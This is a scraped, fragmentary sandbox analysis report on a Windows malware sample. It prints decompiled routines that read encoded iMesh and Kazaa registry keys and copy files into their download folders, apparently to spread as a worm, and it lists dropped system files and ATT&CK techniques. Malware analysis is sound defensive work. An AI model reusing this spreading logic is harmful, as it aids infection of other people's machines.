				_v680 = _t64;
				_v684 = 0x80000001;
				L0040C480();
				_t90 = _t89 - 0x14;
				if(_t64 == 0) {
					_v684 =  &_v644;
					_t73 =  &_v284;
					_v688 = _t73;
					_v692 = 0;
					_v696 = 0;
					_v700 =  &_v380;
					_t64 = _v640;
					 *_t90 = _t64;
					L0040C488();
					_t91 = _t90 - 0x18;
					if(_t64 == 0) {
						_t64 = _v640;
						 *_t91 = _t64;
						L0040C490();
						_t92 = _t91 - 4;
						if(_v284 != 0) {
							 *_t92 = _t73;
							L0040C310();
							_t93 = _t92 - 4;
							if( *((char*)(_t64 +  &_v285)) == 0x2f) {
								_v736 = _t73;
								L0040C310();
								_t93 = _t93 - 4;
								 *((char*)(_t64 +  &_v285)) = 0x5c;
							}
							_t74 =  &_v284;
							_v736 = _t74;
							L0040C310();
							_t94 = _t93 - 4;
							if( *((char*)(_t64 +  &_v285)) != 0x5c) {
								_v736 = 0x40f354;
								 *_t94 = _t74;
								L0040C328();
								_t94 = _t94 - 8;
							}
							_v648 = 0;
							_t84 =  &_v636;
							do {
								_t67 =  *0x40d3cc; // 0xb
								 *_t94 = _t67;
								_t68 = E00404EAE(_t67);
								_v736 =  &_v284;
								 *_t94 = _t84;
								L0040C320();
								_t64 =  *((intOrPtr*)(0x40d3a0 + _t68 * 4));
								_v744 = _t64;
								_v748 = _t84;
								L0040C328();
								_t96 = _t94;
								_v748 = 1;
								_v752 = _t84;
								 *_t96 = _t86;
								L0040C418();
								_t94 = _t96 - 0xc;
								_v648 = _v648 + 1;
							} while (_v648 <= 0);
						}
					}
				}
				return _t64;
			}

0x00405859
0x0040585c
0x0040585f
0x00405862
0x00405865
0x00405880
0x00405896
0x0040589b
0x004058a1
0x004058ac
0x004058af
0x004058b4
0x004058b4
0x004058b4
0x004058b9
0x004058bb
0x004058c0
0x004058c0
0x004058c6
0x004058c8
0x004058c8
0x004058d0
0x004058d4
0x004058dc
0x004058e4
0x004058ea
0x004058ee
0x004058f5
0x004058fa
0x004058ff
0x0040590b
0x0040590f
0x00405915
0x00405919
0x00405921
0x0040592f
0x00405933
0x00405939
0x0040593c
0x00405941
0x00405946
0x0040594c
0x00405952
0x00405955
0x0040595a
0x00405964
0x0040596a
0x0040596d
0x00405972
0x0040597d
0x0040597f
0x00405982
0x00405987
0x0040598a
0x0040598a
0x00405992
0x00405998
0x0040599b
0x004059a0
0x004059ab
0x004059ad
0x004059b5
0x004059b8
0x004059bd
0x004059bd
0x004059c0
0x004059ca
0x004059d0
0x004059d0
0x004059d5
0x004059d8
0x004059e5
0x004059e9
0x004059ec
0x004059f4
0x004059fb
0x004059ff
0x00405a02
0x00405a07
0x00405a0a
0x00405a12
0x00405a16
0x00405a19
0x00405a1e
0x00405a21
0x00405a27
0x004059d0
0x00405964
0x00405946
0x00405a3c

APIs

7618ED80.ADVAPI32 ref: 00405955

Strings

Fbsgjner\Xnmnn\Genafsre, xrefs: 0040586F
QyQve0, xrefs: 00405885

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 7618
String ID: Fbsgjner\Xnmnn\Genafsre$QyQve0
API String ID: 2181118218-3635034446
Opcode ID: 48d3ab129c8971922516ad6cf7ddcc5b4f641ba089194a23c19a237b6e17e3d6
Instruction ID: afcb269cad9b4d3002b0b3817e33f6dff803cc776bda76573fbb9b1efc1f5d05
Opcode Fuzzy Hash: 48d3ab129c8971922516ad6cf7ddcc5b4f641ba089194a23c19a237b6e17e3d6
Instruction Fuzzy Hash: 0751FBB4D05718DBDB50EF24C58939EBBF0AF44304F4189BED88867381D7789A888F96

Uniqueness

Uniqueness Score: -1.00%

Function 00405A3E Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00405A3E(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v284;
				char _v285;
				char _v348;
				char _v380;
				char _v636;
				char _v640;
				signed char _v644;
				int _v648;
				char* _v668;
				intOrPtr _v672;
				int _v676;
				intOrPtr _v680;
				void* _v684;
				char _v688;
				int _v692;
				int _v696;
				char* _v700;
				void* _v736;
				intOrPtr _v744;
				char _v748;
				intOrPtr _v752;
				char* _t64;
				intOrPtr _t67;
				signed int _t68;
				signed char _t71;
				char _t73;
				char _t74;
				signed int _t77;
				void* _t81;
				char* _t82;
				char _t84;
				intOrPtr _t86;
				void* _t88;
				void* _t89;
				intOrPtr* _t90;
				intOrPtr* _t91;
				intOrPtr* _t92;
				void* _t93;
				intOrPtr* _t94;
				intOrPtr* _t96;

				_v16 = __ebx;
				_v12 = __esi;
				_v8 = __edi;
				_t86 = _a4;
				_v644 = 0x100;
				E00404C38( &_v348, "Fbsgjner\\vZrfu\\Trareny");
				E00404C38( &_v380, "QbjaybnqQve");
				_t81 =  &_v284;
				_t71 = _v644;
				asm("cld");
				_t77 = _t71 >> 2;
				memset(_t81, 0, _t77 << 2);
				_t89 = _t88 + 0xc;
				_t82 = _t81 + _t77;
				if((_t71 & 0x00000002) != 0) {
					 *_t82 = 0;
					_t82 = _t82 + 2;
				}
				if((_t71 & 0x00000001) != 0) {
					 *_t82 = 0;
				}
				_v668 =  &_v640;
				_v672 = 1;
				_v676 = 0;
				_t64 =  &_v348;
				_v680 = _t64;
				_v684 = 0x80000001;
				L0040C480();
				_t90 = _t89 - 0x14;
				if(_t64 == 0) {
					_v684 =  &_v644;
					_t73 =  &_v284;
					_v688 = _t73;
					_v692 = 0;
					_v696 = 0;
					_v700 =  &_v380;
					_t64 = _v640;
					 *_t90 = _t64;
					L0040C488();
					_t91 = _t90 - 0x18;
					if(_t64 == 0) {
						_t64 = _v640;
						 *_t91 = _t64;
						L0040C490();
						_t92 = _t91 - 4;
						if(_v284 != 0) {
							 *_t92 = _t73;
							L0040C310();
							_t93 = _t92 - 4;
							if( *((char*)(_t64 +  &_v285)) == 0x2f) {
								_v736 = _t73;
								L0040C310();
								_t93 = _t93 - 4;
								 *((char*)(_t64 +  &_v285)) = 0x5c;
							}
							_t74 =  &_v284;
							_v736 = _t74;
							L0040C310();
							_t94 = _t93 - 4;
							if( *((char*)(_t64 +  &_v285)) != 0x5c) {
								_v736 = 0x40f354;
								 *_t94 = _t74;
								L0040C328();
								_t94 = _t94 - 8;
							}
							_v648 = 0;
							_t84 =  &_v636;
							do {
								_t67 =  *0x40d3cc; // 0xb
								 *_t94 = _t67;
								_t68 = E00404EAE(_t67);
								_v736 =  &_v284;
								 *_t94 = _t84;
								L0040C320();
								_t64 =  *((intOrPtr*)(0x40d3a0 + _t68 * 4));
								_v744 = _t64;
								_v748 = _t84;
								L0040C328();
								_t96 = _t94;
								_v748 = 1;
								_v752 = _t84;
								 *_t96 = _t86;
								L0040C418();
								_t94 = _t96 - 0xc;
								_v648 = _v648 + 1;
							} while (_v648 <= 0);
						}
					}
				}
				return _t64;
			}

0x00405a47
0x00405a4a
0x00405a4d
0x00405a50
0x00405a53
0x00405a6e
0x00405a84
0x00405a89
0x00405a8f
0x00405a9a
0x00405a9d
0x00405aa2
0x00405aa2
0x00405aa2
0x00405aa7
0x00405aa9
0x00405aae
0x00405aae
0x00405ab4
0x00405ab6
0x00405ab6
0x00405abe
0x00405ac2
0x00405aca
0x00405ad2
0x00405ad8
0x00405adc
0x00405ae3
0x00405ae8
0x00405aed
0x00405af9
0x00405afd
0x00405b03
0x00405b07
0x00405b0f
0x00405b1d
0x00405b21
0x00405b27
0x00405b2a
0x00405b2f
0x00405b34
0x00405b3a
0x00405b40
0x00405b43
0x00405b48
0x00405b52
0x00405b58
0x00405b5b
0x00405b60
0x00405b6b
0x00405b6d
0x00405b70
0x00405b75
0x00405b78
0x00405b78
0x00405b80
0x00405b86
0x00405b89
0x00405b8e
0x00405b99
0x00405b9b
0x00405ba3
0x00405ba6
0x00405bab
0x00405bab
0x00405bae
0x00405bb8
0x00405bbe
0x00405bbe
0x00405bc3
0x00405bc6
0x00405bd3
0x00405bd7
0x00405bda
0x00405be2
0x00405be9
0x00405bed
0x00405bf0
0x00405bf5
0x00405bf8
0x00405c00
0x00405c04
0x00405c07
0x00405c0c
0x00405c0f
0x00405c15
0x00405bbe
0x00405b52
0x00405b34
0x00405c2a

APIs

7618ED80.ADVAPI32 ref: 00405B43

Strings

QbjaybnqQve, xrefs: 00405A73
Fbsgjner\vZrfu\Trareny, xrefs: 00405A5D

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 7618
String ID: Fbsgjner\vZrfu\Trareny$QbjaybnqQve
API String ID: 2181118218-427315093
Opcode ID: ca356c8a7735af90a2ac1fc3d2fb9675a498bac6a2a463da8ee0ab9d5fd3de3f
Instruction ID: 4c2f52c761e00ed0f591be26c1bd4671a41acc1e7387a317ba9ae8b83013203e
Opcode Fuzzy Hash: ca356c8a7735af90a2ac1fc3d2fb9675a498bac6a2a463da8ee0ab9d5fd3de3f
Instruction Fuzzy Hash: D051FCB4905718CEDB60EF24C58939EBBF4AF44304F4185BEDC8867381D7789A888F96

Uniqueness

Uniqueness Score: -1.00%

Function 00403E78 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

7618ED80.ADVAPI32 ref: 00403F17

Strings

Start, xrefs: 00403EF5
Flfgrz\PheeragPbagebyFrg\Freivprf\FunerqNpprff, xrefs: 00403E8C

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 7618
String ID: Flfgrz\PheeragPbagebyFrg\Freivprf\FunerqNpprff$Start
API String ID: 2181118218-912140713
Opcode ID: dcaaea9c11f4157e6766c7e5053caf7e5d707b883a19b3446069e9ff389a4345
Instruction ID: 3e2d9bc1c4b7ca1d7eb8bd648e7caadb70e702096ae42ff705bea3b0919a5c49
Opcode Fuzzy Hash: dcaaea9c11f4157e6766c7e5053caf7e5d707b883a19b3446069e9ff389a4345
Instruction Fuzzy Hash: 7101DBF0808315DBD710EF25C58575EBBF4BB44348F40C96DE988A7242E7789A4C8F56

Uniqueness

Uniqueness Score: -1.00%

Function 0040B040 Relevance: 5.0, Strings: 4, Instructions: 46COMMON

Download Yara Rule

Strings

GetAtomNameA (atom, s, sizeof(s)) != 0, xrefs: 0040B0BE
../../gcc/gcc/config/i386/w32-shared-ptr.c, xrefs: 0040B0B0
w32_sharedptr->size == sizeof(W32_EH_SHARED), xrefs: 0040B097
%s:%u: failed assertion `%s', xrefs: 0040B0A9

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID: %s:%u: failed assertion `%s'$../../gcc/gcc/config/i386/w32-shared-ptr.c$GetAtomNameA (atom, s, sizeof(s)) != 0$w32_sharedptr->size == sizeof(W32_EH_SHARED)
API String ID: 0-2696369246
Opcode ID: 055b4f41610cf93c2adfb2054d8dbcce5caf57ff53a8ecc1339ea75a1b6def78
Instruction ID: b50ba6c1e0c48ccbfb779697640dc8edf1bacce25001569c98304d8c7ef809a2
Opcode Fuzzy Hash: 055b4f41610cf93c2adfb2054d8dbcce5caf57ff53a8ecc1339ea75a1b6def78
Instruction Fuzzy Hash: E50152B0A043459BCB049F65C49426BBFE0EB98304F10C83FD999AB785D37DD8849B8E

Uniqueness

Uniqueness Score: -1.00%

Target ID:	0
Start time:	22:24:02
Start date:	07/11/2022
Path:	C:\Users\user\Desktop\ydbWyoxHsd.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\ydbWyoxHsd.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	B4E4D26C168CC3E38B3E7177FBEDB52D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	1
Start time:	22:24:07
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\ctfmen.exe
Wow64 process (32bit):	true
Commandline:	ctfmen.exe
Imagebase:	0x400000
File size:	4160 bytes
MD5 hash:	A05ECF5306E42A6E4C278711BA738C04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low

Target ID:	4
Start time:	22:24:10
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	6
Start time:	22:24:11
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	8
Start time:	22:24:12
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	10
Start time:	22:24:13
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	12
Start time:	22:24:14
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	13
Start time:	22:24:15
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	15
Start time:	22:24:20
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	16
Start time:	22:24:21
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	18
Start time:	22:24:22
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	19
Start time:	22:24:23
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	21
Start time:	22:24:24
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	22
Start time:	22:24:25
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	23
Start time:	22:24:26
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	25
Start time:	22:24:27
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	27
Start time:	22:24:28
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	28
Start time:	22:24:29
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	30
Start time:	22:24:30
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	31
Start time:	22:24:31
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ydbWyoxHsd.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Windows\SysWOW64\ctfmen.exe

C:\Windows\SysWOW64\grcopy.dll

C:\Windows\SysWOW64\grcopy.dll:Zone.Identifier

C:\Windows\SysWOW64\satornas.dll

C:\Windows\SysWOW64\shervans.dll

C:\Windows\SysWOW64\smnss.exe

C:\Windows\SysWOW64\smnss.exe:Zone.Identifier

C:\Windows\SysWOW64\zipfi.dll

C:\Windows\SysWOW64\zipfiaq.dll

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Windows Analysis Report
ydbWyoxHsd.exe

Target ID:	33
Start time:	22:24:32
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	34
Start time:	22:24:33
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	36
Start time:	22:24:34
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	38
Start time:	22:24:35
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	39
Start time:	22:24:37
Start date:	07/11/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	246247 bytes
MD5 hash:	762B8CDF27C571BCA2BD64BE8B92E9EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre